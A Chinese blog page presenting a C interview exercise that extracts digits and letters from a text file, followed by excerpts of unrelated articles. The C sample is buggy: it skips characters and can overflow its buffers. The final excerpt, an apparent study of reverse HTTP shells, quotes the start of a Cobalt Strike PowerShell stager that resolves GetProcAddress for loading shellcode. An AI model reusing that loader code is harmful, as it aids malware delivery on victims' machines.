面试日记-程序

  • 明朝万达

接口功能:C实现读取TXT文件,并将数字和字母单独提出来。

程序:

#include <stdio.h>
int j=0,k=0;

void read_TXT(const char *path,char *string,char *num)
{
    int i = 0;
    char file[10000] ;//= { 0 }
    FILE* fpRead = fopen(path, "r");
    if (fpRead == NULL)
    {
        printf("打开文件失败!\n");
        return;
    }
    while(fgetc(fpRead)!=EOF)
    {
        fscanf(fpRead, "%c ", &file[i]);

        if (file[i] <= '9' && '0' <= file[i])
        {
            num[j] = file[i];
            j++;
        }
        if ((file[i] <= 'Z' && 'A'<=file[i]) || (file[i] <= 'z' && 'a'<=file[i]))
        {
            string[k] = file[i];
            k++;
        }
    }
    fclose(fpRead);
}
int main()
{
    //读数据,将读到的数据存到数组a[]中
    char string[100];
    char num[100];
    char *path="/Users/hangshao/Desktop/read/demo.txt";

    read_TXT(path,string,num);

    for(int i=0;i<j;i++)
    {
        printf("%c",num[i]);
    }
    printf("\n\n");
    for(int i=0;i<k;i++)
    {
        printf("%c",string[i]);
    }
    return 1;
}

本文转载于网络 如有侵权请联系删除

相关文章

  • 怎么和同事高效沟通

    一、同事首先是“共同做事”,做事靠谱,是同事关系的基础。生活和工作要区分,别成为能当好朋友却很难共事的人。别让别人为你的生活、心情、健康、心理、前女友、渣男等买单。少在同事间提及私生活。一旦你开始因为生活而影响工作,等于绑架了整个团队。工作是一种社交关系。你的坏情绪一旦在公众场合出现,就会影响周围的人。如果真的有情绪,不要当下表达出来。哪怕冷处理30分钟,让大家看到你自己已经在努力,别人也会愿意帮你。工作,就是和世界玩交换游戏。作为新人,如果没有资源,就把自己当作资源。你的资源包括:你能支配的时间、你能运用的技能和经验、你能支配的钱、愿意和你链接与合作的人,以及你能看到的趋势。主动帮助别人,或者真诚地向他人求援,都可以快速拉近你们彼此间关系。工作中既要关注人,也要关注事。不关注人,人不和你玩。不关注事,合作没收益。越往高职位走,越需要关注人。聪明的人总是给别人出选择题,不是问答题。你说得越清楚,越有力,越符合对方的工作习惯,就越有可能成为让别人省心的人,当然愿意和你多交往。你不仅是在为公司工作,更是在逐步确立自己在公司内的评价和长远的江湖地位。个人信用,源于持续提供价值。就算自己能力暂

  • 聊一聊微信小程序性能优化

    一、如何衡量小程序性能微信小程序的开发除了完成必要的产品功能外,性能也是非常重要的。 我们应该如何衡量小程序的性能呢?怎样的小程序才算是一个高性能小程序呢?个人觉得,所谓的高性能无非就两个点:打开速度够快、交互够流畅。 只要打开够快就能让用户最快的看见,只要交互够流畅,就能让用户没有”反悔“的时间。 那么如何才能做到速度快并且交互流畅呢? 接下来咱们就一起来探讨一下。关于小程序的性能优化,微信小程序官方文档的《性能与体验》模块其实说的很详细了,甚至还有官方评分规则。 《性能与体验》所以,一般情况下按照这些规则指标去优化,并做到了100分,那么小程序性能也不会太差了。 并且,这些指标的绝大多数问题都能在小程序开发者工具上在本地检测出来,只需要在开启检测并发现问题之后按照上面的指标一一处理掉,拿到评测高分即可。难道做到小程序的高性能就这样?这也太容易了吧? 当然不止如此,上述官方指标只是给小程序的性能优化指个大致的方向,让其在平台上运行的小程序不至于太差,应该算是一个指导性文件,作为开发者我们尽可能的按照官方指导去优化小程序理论上不会把路子走歪。除此之外,有一些跟用户息息相关的一些比较复杂

  • SAP Spartacus 自定义Popover指令,如何实现弹出对话框自动关闭功能

    PopoverComponent的appendToBody如果设置成true:则其DOM元素会出现在body节点的末尾:当我点击屏幕任意空白位置时,这个Popover对话框会自动消失。准确的说,是从DOMtree中移除,而不是设置成invisible.Popover自定义指令的实现源代码里,会通过@HostListener来监控宿主元素的document:click事件。如果this.insideClicked为false,说明是outside_click,因此使用eventSubject发送这个事件。这里要解决两个问题:this.insideClicked的标志位什么时候设置的?通过EventSubject发送的诸如OUTSIDE_CLICK的事件,监听者是谁?首先解决第一个问题。如果Popover本身的宿主元素,即PopoverComponentwrapper被点击,this.insideClicked被置为true,同时发送PopoverEvent.INSIDE_CLICK事件:否则,当document:click事件触发时,说明PopoverComponentwrapper之外

  • JS指定音频audio在某个时间点进行播放,获取当前音频audio的长度,音频时长格式转化

    前言:  今天接到一个需求,需要获取某个.mp3音频文件的时间长度和指定音频audio在某个时间点进行播放(比如说这个视频有4分钟,我要让它默认从第2秒的时候开始播放),这里当然想到了H5中的audio元素,当然我们平时看这个标签上显示的音频时间格式是时:分:秒的格式的因此需要涉及到秒和时间格式的转化。因为刚开始对这块十分的陌生,最后通过查阅了网上的一些资料,最终完美的把这些功能点做好了。在这里分享一下,希望能够帮助有需要的小伙伴。获取音频时长:functiongetAudioDuration(src){ letaudio=document.createElement('audio')//生成一个audio元素 audio.src=src//音乐的路径 audio.addEventListener("canplay",function(){ console.log("音频长度=>>>:",parseInt(audio.duration)+'秒','音频时分秒格式:',t

  • 分享一些好用的 Chrome 扩展

    前言使用浏览器扩展程序可以使你的工作效率提高数倍不止,那么下面我就向大家分享一下我日常使用的扩展,可能大多数扩展大家都已经在使用了,不过也难免有一两个是你不知道的。正文以下排名并不分先后,请坚持看到最后,或许你会有惊喜。1、新浪微博图床 感谢新浪微博提供的免费图床(对外链无限制),以及吊炸天的cdn图片加速服务,从此妈妈再也不用担心我的图床不能用了,另外还支持在网页图片右键菜单中一键上传。2、AdBlock最受欢迎的Chrome扩展,拥有超过6000万用户!拦截网页上的广告。3、WEB前端助手前端神器,包括JSON格式化、二维码生成与解码、信息编解码、代码压缩、美化、页面取色、Markdown与HTML互转、网页滚动截屏、正则表达式、时间转换工具、编码规范检测、页面性能检测、Ajax接口调试、密码生成器、JSON比对工具、网页编码设置、便签笔记。4、JSONViewer前面介绍的WEB前端工具也有JSON查看工具,但是它那个太丑了,所以我用这个,内置多种主题,是我见过最好看的JSON查看工具。5、StandardizedScreenshot一个非常好用的截图扩展,自动加上macOS的标

  • 教你彻底关闭win10的自动更新

    最近的windows10更新是越来越可怕了。不仅常驻后台偷吃资源和网络,还不让关闭。比如下面尤其是那些网络本来就差、电脑本来就卡的人,还让不让人好好玩耍了。 不过,正所谓道高一尺魔高一丈,总是有办法的。今天教大家怎么彻底关闭这个烦人的自动更新。1.首先,右键【此电脑】,选择【管理】。 2.选择【服务】选项。 3.找到WindowsUpdate服务。右键【属性】。选择停止。4.稍等片刻。停止以后,再将【启动类型】选择【禁用】。5.最后,很重要。切换到恢复选项卡,将第一次失败第二次失败后续失败都设置成无操作。注意:恢复选项卡一定要设置成无操作。这样,各位小伙伴就可以愉快看世界杯了。

  • 浅谈SD-WAN的故障排除

    当SD-WAN出现问题或者您怀疑它导致应用程序出现问题时,您会怎么做?当然是,排除故障。 但SD-WAN故障排除要求IT团队非常了解他们正在处理的网络设备、连接和拓扑,以及许多其他因素。以下是IT团队在处理SD-WAN问题时可以遵循的一些有用的监控和实际故障排除的步骤。 SD-WAN故障排除的第一步是了解网络是什么时候开始无法正常运行的。在大多数情况下,监控SD-WAN与监控常规网络并没有太大区别。物理组件通常最容易监控的:他们要么工作,要么不工作。由于抽象会使得多个网络链路看起来好像是一个,因此逻辑函数可能会更具挑战性。 监控SD-WAN 事件处理。一个好的网络管理架构中最有用的元素是检查来自网络设备(包括SD-WAN设备)的事件。把事件想象成是网络让你知道值得注意的事情发生了。该过程不需要轮询,并且它可以随着网络的增长而扩展。 与简单网络管理协议(SNMP)陷阱相比,我更喜欢使用syslog事件,因为它们不需要将特定的管理信息库加载到管理系统中来查看详细信息。IT团队应该配置SD-WAN设备,以便将事件发送到公共事件处理系统,在那里可以存储、关联和操作事件。 预算受限的组织可以使用

  • 「镁客晚报」华为和三星被无赖缠上,小米发布三款新品

    1、华为三星被流氓打败,在英国输掉专利官司 中国华为和韩国三星电子遭遇美国一家通信技术专利公司的诉讼,并遭到败诉,原告疑似一家专门依靠专利诉讼发财的“专利流氓公司”。据美国多家媒体报道,原告公司名叫“无线星球”(UnwiredPlanet),该公司在英国伦敦起诉三星和华为侵犯专利权,受到胜诉消息的刺激,该公司股价暴涨了近两成。从雇员人数少、从外部公司收购专利之后发起诉讼等特征来看,无线星球公司很有可能是一家专利流氓公司。据彭博社报道,该公司之前也曾经起诉过谷歌侵犯专利,但是诉讼后来和解。此次这是该公司第一次在专利侵权诉讼中获得胜利。三星电子表示,相信公司并未侵犯原告的专利,三星将会继续采取措施,证明自身的产品依靠的是三星多年的研发。2、小米今日发布三款新品:手机、平板和空气净化器11月24日,小米2015年度收官发布会在国家会议中心召开。今年小米共开了10余场发布会,在国家会议中心是第3场,前两场分别是年初的小米Note和年中的MIUI7及红米Note2。今天发布会的主角是红米Note3、小米平板2以及第二代空气净化器。不过发布会行将结束时,雷军伴着钢琴曲进行的一大段“真情告白”,显然

  • html模板代码_html模板代码下载

    大家好,又见面了,我是你们的朋友全栈君。<!DOCTYPEhtml> <htmllang="en"> <head> <metacharset="UTF-8"> <metaname="viewport"content="width=device-width,initial-scale=1.0"> <metahttp-equiv="X-UA-Compatible"content="ie=edge"> <title>Document</title> <!--外链式,推荐使用--> <scriptsrc="js/hello.js"></script> <!--内嵌式,部分推荐使用--> <script>alert("helloworld*2!");</script> &l

  • 腾讯云私有网络修改NAT网关私有网络API2017

    1.接口描述本接口(ModifyNatGateway)用于修改NAT网关接口请求域名:vpc.api.qcloud.com 2.输入参数以下请求参数列表仅列出了接口请求参数,正式调用时需要加上公共请求参数,详情请参见公共请求参数页面。其中,此接口的Action字段为ModifyNatGateway。 参数名称 必选 类型 描述 vpcId 是 string 私有网络ID或者统一ID,建议使用统一ID,例如vpc-x7d44d。 natId 是 string NAT网关统一ID,例如nat-df45454。 natName 否 string NAT网关名称,取值:1-25个中文、英文大小写的字母、数字和下划线分隔符。 bandwidth 否 int 网关最大外网出带宽(单位:Mbps),默认:100Mbps,具体支持数据请参见私有网络网关说明。 3.输出参数 参数名称 类型 描述 code Int 错误码。0:成功,其他值:失败 message String 错误信息 4.错误码表以下错误码表仅列出了该接口的业务逻辑错误码,更多公共错误码详见

  • 0708

    快退役了,赶快发挥一下剩余价值QWQ。 长郡集训第二场: T1:小Y 首先给定一个排列,然后每次询问给定两个区间,问左边区间的所有排列中有多少可以恰好可以使得左边的每个数恰好小于右边的每个数。n,m<=100000,P的逆序对<=100000 暴力做法是把两个区间拎出来,放一起排序,然后从左到右扫,每次看当前右边区间的数还有多少左边区间的数可以选,乘起来。 然后我发现这个做法几乎没法优化,就放了,然后出题人说,暴力的数据范围只说了n<=1000,没说m的范围,暴力只有10分,出题人***。 正解的做法利用逆序对的限制,设Xi表示右边区间第i小的数比左边区间的多少个数要大。可以证明Xi的变化次数最多只有sqrt(n)次。 证明:思考若Xi变化次数超过了sqrt(N),那么可以发现如果把两个区间拎出来一起排序,那么会出现大于sqrt(N)次的左边区间的数-右边区间的数相邻的情况。 然后考虑一个右边区间的数会与他右边所有左边区间的数形成逆序对,然后发现若出现了这样的情况逆序对数目会超过N,然后可知Xi的变化次数不会超过sqrt(N)次。 对于一个Xi相同的区间,可以组合数维

  • Pandas:获取Dataframe索引

    解决方案 效果图 参考链接 https://blog.csdn.net/YENTERTAINR/article/details/109254583 学以致用,知行合一

  • 怎么实现彩票走势图,采用js+mvc+html技术来实现

    序言     最近闲来无事,研究下怎么去开发双色球的走势图,觉得还是蛮有意思的,用MVC+JS+HTMl来实现的。做了非常多的走势图,还可以进行选号,还做了一些工具来帮助选号,O(∩_∩)O哈哈~纯粹个人兴趣来做的。下面来详细介绍怎么去实现的,还是相当有技术含量的。 实现出来效果                以上随便挑选了4个效果图,一起实现了20多种的效果,就不一一展示了。 怎么实现这走势图 查询条件的实现     functionGetcxqsSelect(){ varobj=document.getElementById('cxqs'); obj.options.add(newOption("最新10期","10")); obj.options.add(newOption("最新20期","20")); obj.options.add(newOption("最新30期","30",true,true)); obj.options.

  • TCP之Nagle算法&amp;&amp;延迟ACK

    1.Nagle算法: 是为了减少广域网的小分组数目,从而减小网络拥塞的出现; 该算法要求一个tcp连接上最多只能有一个未被确认的未完成的小分组,在该分组ack到达之前不能发送其他的小分组,tcp需要收集这些少量的分组,并在ack到来时以一个分组的方式发送出去;其中小分组的定义是小于MSS的任何分组;(已经有一个小分组待确认,则下一个小分组禁止发送)。 该算法的优越之处在于它是自适应的,确认到达的越快,数据也就发哦送的越快;而在希望减少微小分组数目的低速广域网上,则会发送更少的分组; Nagle算法的规则(可参考tcp_output.c文件里tcp_nagle_check函数注释): (1)如果包长度达到MSS,则允许发送; (2)如果该包含有FIN,则允许发送; (3)设置了TCP_NODELAY选项,则允许发送; (4)未设置TCP_CORK选项时,若所有发出去的小数据包(包长度小于MSS)均被确认,则允许发送; (5)上述条件都未满足,但发生了超时(一般为200ms),则立即发送。  所谓的CORK就是塞子的意思,形象地理解就是用CORK将连接塞住,使得数据先不发出去,等

  • codevs1299: 切水果

    题目描述 Description 简单的说,一共N个水果排成一排,切M次,每次切[L,R]区间的所有水果(可能有的水果被重复切),每切完一次输出剩下水果数量 数据已重新装配,不会出现OLE错误 时限和数据范围适当修改,避免数据包过大而浪费空间资源 输入描述 InputDescription 第1行共包括2个正整数,分别为N,M。 接下来m行每行两个正整数L,R  输出描述 OutputDescription 一共输出M行,每行输出切完之后剩下水果数量 样例输入 SampleInput 103 35 28 15 样例输出 SampleOutput 7 3 2 数据范围及提示 DataSize&Hint 30%的数据满足N,M<=5,000 60%的数据满足N,M<=100,000 100%的数据满足1<=L<=R<=N<=500,000,1<=M<=500,000 题解 一种并查集的模型,类似于缩点的思想??注意要多预处理

  • ZOJ3554 A Miser Boss(dp)

    转载请注明出处: http://www.cnblogs.com/fraud/          ——byfraud AMiserBossTimeLimit: 2Seconds     MemoryLimit: 65536KB TherearethreedifferentlathesinafactorynamelyA,B,C.Theyareallabletoworkonallkindsofworkpieces.Andthereare n workpiecestobeprocessed,denotedby 1,2,..,n. Duetodifferentinternalimplemetations,foraspecificworkpiece i,itcostsA a[i] secondstofinishthejobonitwhileBtakes 

  • mysql5.7.X版本only_full_group_by问题解决

    一、出错原因 最近因为开发数据库与部署数据库版本不同,带来了几个问题,其中only_full_group_by问题是之前没有遇到的。    具体报错如下 1[Err]1055-Expression#1ofORDERBYclauseisnotinGROUPBYclauseandcontainsnonaggregatedcolumn'information_schema.PROFILING.SEQ'whichisnotfunctionallydependentoncolumnsinGROUPBYclause;thisisincompatiblewithsql_mode=only_full_group_by复制 可以看出是因为sql_mode中设置了only_full_group_by模式引起的, sql_mode的作用是什么呢? 模式定义mysql会支持哪些sql语法。以及应执行哪种数据验证检查。最终达到的目标:适应在不同环境中适应mysql,因为可 以根据各自的程序设置不同的操作模式。复制   在only_full_group_by这种模

  • js几种加密/解密方法

      <html> <head> <title>前端的base64使用方法</title> </head> <body> </body> <script> varstr="hello"; varstr64=window.btoa("hello"); console.log("字符串是:"+str); console.log("经base64编码后:"+str64); console.log("base64解码后:"+window.atob(str64)); </script> </html>复制     二、MD5加密(不可逆) MD5的github地址 关于MD5: MD5.js是通过前台js加密的方式对用户信息,密码等私密信息进行加密处理的工具,也可称为插件。 MD5共有6种加密方法: 1,hex_md5(value) 2,b64_md5(value) 3,str_md5(value) 4,hex_hmac_md5(key,d

  • 打开网站卡打不开网站浏览器出现找不到网站的 DNS 地址或ip地址的解决办法

    解决办法 用记事本打开C:\Windows\System32\drivers\etc\hosts文件,在里面(最后一行)添加网址ip+空格+网址,#符是注释的意思不用管。 例:121.40.43.188www.cnblogs.com 网址IP查询方法 win+R键呼出命令窗口,输入cmd打开管理员命令提示符窗口,执行命令ping+空格+网址就能得到IP地址。 例:pingwww.bilibili.com 可能遇到Ping请求找不到主机account.cnblogs.com。请检查该名称,然后重试。的问题,多ping几次就行了。 也可以直接去相应的网站查询域名ip。 常用网址ip #git 185.199.108.133raw.githubusercontent.com 180.97.125.228gitee.com #blog 39.106.226.142www.csdn.net 182.92.187.217blog.csdn.net 121.40.43.188www.cnblogs.com 120.55.196.147edu.cnblogs.com 47.95.50.1

  • 【July】【Machine Leraning】1.微积分和概率论

    1.两边夹定理 形象化解释 单位圆,半径=1 BC线段(sinx)<AB线段<AB弧(x)<AD线段 可以得到 求极限 得到 例子,求解 =3/2 2.极限存在定理 数列如果单调递增且有上界,则一定有极限。 二项式展开定理 考察一个数列 由此可见,这个数列是个递增数列且小于3 可以推断,这个数列的极限也应当小于3,大于2,用符号e作为记号 如果n取实数,而不是整数. 构造不等式 左侧和右侧分别求极限 根据两边夹定理,可以得到 3.导数 一阶导数:曲线的斜率=>曲线变化快慢 二阶导数:斜率的变化快慢=>曲线的凸凹性 物理:加速度是二阶导数,且导数方向在曲线凹的一侧 常用导数的求解 应用,求解函数的最小值 核心是利用两侧取对数和导数=0的策略来求解 4.Taylor和Maclaurin公式 Taylor基本公式 在x0x0点展开 展开到nn项,加上高阶无穷小 如果要求在x0=0x0=0处展开,则得到Maclaurin公式 对复杂函数,求解函数在原点展开 如果一个函数求解有困难,通过展开

  • 从reverse_http shell说起

    这次在用CobaltStike是httpbeacon时,突然好奇反向shell是怎么做的,做了一些整理,比较杂,把网络、windowsPE结构、编写shellcode都回顾了下。 0、引子 Set-StrictMode-Version2 $DoIt=@' functionfunc_get_proc_address{ Param($var_module,$var_procedure) $var_unsafe_native_methods=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache-And$_.Location.Split('\\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.UnsafeNativeMethods') $var_gpa=$var_unsafe_native_methods.GetMethod('GetProcAddress',[Type[]]@('System.Runtime.InteropS

相关推荐

推荐阅读